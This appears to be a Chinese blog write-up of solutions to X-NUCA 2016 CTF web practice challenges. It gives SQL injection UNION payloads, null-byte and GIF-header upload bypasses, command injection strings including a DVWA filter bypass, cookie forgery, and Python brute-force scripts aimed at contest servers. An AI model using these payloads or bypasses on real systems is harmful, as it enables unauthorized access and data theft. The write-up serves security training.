X-NUCA 7月Web专题赛前指导

作者: 分类: CTF 时间: 2016-07-26 评论: 暂无评论

X-NUCA全国高校网安联赛赛前指导-合天网安实验室

Web进阶篇


0x01 捉迷藏

Ctrl+A或者看下源码有个页面,访问后会自动重定向,抓个包或者curl一下就有了

0x02 简单问答

    <form method="post" action="">
    Q1) This is HT-CTF____" :<br>
        <select name="q1" id="q1">
            <option value="0000">0000</option>
            <option value="0010">0010</option>
            <option value="2010">2010</option>
            <option value="2011">2011</option>
            <option value="3100">3100</option>
            <option value="2015">2016</option>
        </select><br/><br/>
    Q2) Acronym for "laughing out loud" :<br> 
        <input type="text" name="q2" id="q2" onblur="myFunction()"><br/><br/>
    Q3) Standard port for SSH :<br> 
        <input type="radio" name="q4" value="20">20<br>
        <input type="radio" name="q4" value="21">21<br>
        <input type="radio" name="q4" value="22">22<br>
        <input type="radio" name="q4" value="23">23<br>
        <input type="radio" name="q4" value="24">24<br>
        <input type="hidden" name="success" value="false">
    <input type="submit" disabled value="Submit Quiz">
    </form>

注意看源码,脑洞题
最后构造q1=2016&q2=lol&q3=22&success=true
POST提交,就可以了。

0x03 后台后台后台

抓个包发现Cookie: User=JohnTan101; Member=Tm9ybWFs

把Member的Tm9ybWFsbase64解下是Normal,根据题目提示,把Admin加密下得到QWRtaW4=

最后得到Cookie: User=JohnTan101; Member=QWRtaW4=提交就可以了

0x04 php是最好的语言

传递的参数不少,条件判断也不少,题目给了源码,自己修改一下在本地搭个测试页面

    <?php
    $arr=array(
        "bar1"=>"123",
        "bar2"=>array(
                "0"=>array(0),
                "1"=>1,
                "2"=>2,
                "3"=>3,
                "4"=>4,
        )
    );
    echo json_encode($arr);
    echo "<br />";
    $a=(array)json_decode(@$_GET['foo']);
    var_dump($a);
    $v1=0;$v2=0;$v3=0;
    echo "<br />";
    if(is_array($a)){
        is_numeric(@$a["bar1"])?var_dump("1N"):var_dump("1Y");
        if(@$a["bar1"]){
            ($a["bar1"]>2016)?$v1=1:NULL;
        }
        echo "<br />v1=".$v1."<br />";
        if(is_array(@$a["bar2"])){
            if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) var_dump("2N");
            $pos = array_search("nudt", $a["a2"]);
            $pos===false?die("nope"):NULL;
            foreach($a["bar2"] as $key=>$val){
                $val==="nudt"?die("nope"):NULL;
            }
            $v2=1;
        }
        echo "<br />v2=".$v2."<br />";
    }
    $c=@$_GET['cat'];
    $d=@$_GET['dog'];
    var_dump($c);
    echo "<br />";
    var_dump($d);
    if(@$c[1]){
        echo "<br />I'm in1<br />";
        if(!strcmp($c[1],$d) && $c[1]!==$d){
            echo "<br />I'm in2<br />";
            eregi("3|1|c",$d.$c[0])?var_dump("3Y"):NULL;
            strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
        }
    }
    echo "<br />v3=".$v3."<br />";
    ?>

这是我的测试页面,最后构造出来的语句是

?foo={"bar1":"2017aaa","bar2":[[0],1,2,3,4]}&cat[1][]="1"&dog=%00htctf2016

0x05 忘记密码了

bob=>index.php?page=b74d94c647115ba40b3acd8e12b4e122

sam=>index.php?page=2e4336c39377a0fe8ad31d148bcfa3d7

slash=>index.php?page=where

解下md5分别为bob317sam429,于是猜测slash对应的应该是md5(slash+未知的三位数),用python写了个脚本跑一下就出来了

X-NUCA5

代码如下:

    import requests
    import hashlib
    url="http://218.76.35.75:20115/index.php?page="
    for i in range(100,1000):
        m=hashlib.md5()
        m.update("slash"+str(i))
        r=requests.get(url+m.hexdigest())
        if r.text.find("flag")!=-1:
            print(r.text)
        else:
            print(i)

0x07 简单的文件上传

就是截断上传,随便传个x.php.jpg,抓包,在.php后面插入0x00
X-NUCA7
X-NUCA7-2

0x08 简单的JS

p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,102,108,48,97,46,112,104,112,34,62"

就是把这串转成ascii就可以了:

<iframe height=0 width=0 src="./fl0a.php">

0x12 简单的验证

抓包发现Cookie: user=Bob; guess=999

根据题意构造Cookie: user=admin; guess=未知的三位数

X-NUCA12

用python写个脚本一下出来:

    import requests
    url="http://218.76.35.75:20127/"
    for i in range(100,1000):
        r=requests.get(url,cookies={"user":"admin","guess":str(i)})
        if r.text.find("not")==-1:
            print(r.text)
        else:
            print(i)

0x13 注入那么简单

根据题目提示注入、猜表、拿分,猜下表,有user和flag,显然flag是我们想要的

?name=guest' AND EXISTS(SELECT * FROM user) --+
?name=guest' AND EXISTS(SELECT * FROM flag) --+

猜字段名,有id,username,password,flag

?name=guest' AND EXISTS(SELECT flag FROM flag) --+

知道了字段直接拿内容了:

?name=guest' UNION SELECT flag,2,3 FROM flag --+

0x14 你能进来么

又是图片上传,随便丢个php上去,名字改成x.php.gif,再加个GIF89a头,就过了
X-NUCA14

0x15 好简单的题目

Command Injection,开始被dir溢出这句话坑到了,一度以为是类似于DVWA的high level过滤规则,尝试无果,后来尝试了127.0.0.1 | ls就这么get了...已瞎,感觉系统主要还是给普及知识,很二楞,127.0.0.1 | pwd之类的都执行不了,估计硬性判断& || dir之类的关键字。

附上DVWA-Command Injection-High level的解法,之前一直想不出来,晚上刚看到一篇文章,上面有给出方案:127.0.0.1| | whoami,主要是因为先过滤'| '=>''(注意|后面有空格),再过滤'||'=>'',就采用| |,让其过滤掉|,剩下|

Linux上安装DVWA

0x17 DrinkCoffee

抓个包看到Response的header里有
Password: d2626f412da748e711ca4f4ae9428664
解一下是cafe,然后根据题意,修改header

Accept-Encoding: gzip, deflate
Referer: http://www.iie.ac.cn
password=cafe

0x18 Reappear

Kindeditor v4.1.7
something maybe in /kindeditor/

到网上查了一下Kindeditor 4.1.7路径泄露:

文件代码第48行打印出了绝对路径,导致路径泄漏漏洞产生
/kindeditor/php/file_manager_json.php

访问一下,我们可以看到:

X-NUCA18

知道attached目录下存在flag_clue.php这样一个文件,访问之,得到一串:

=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ

逆序一下,解base64即可

标签: CTFWeb

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论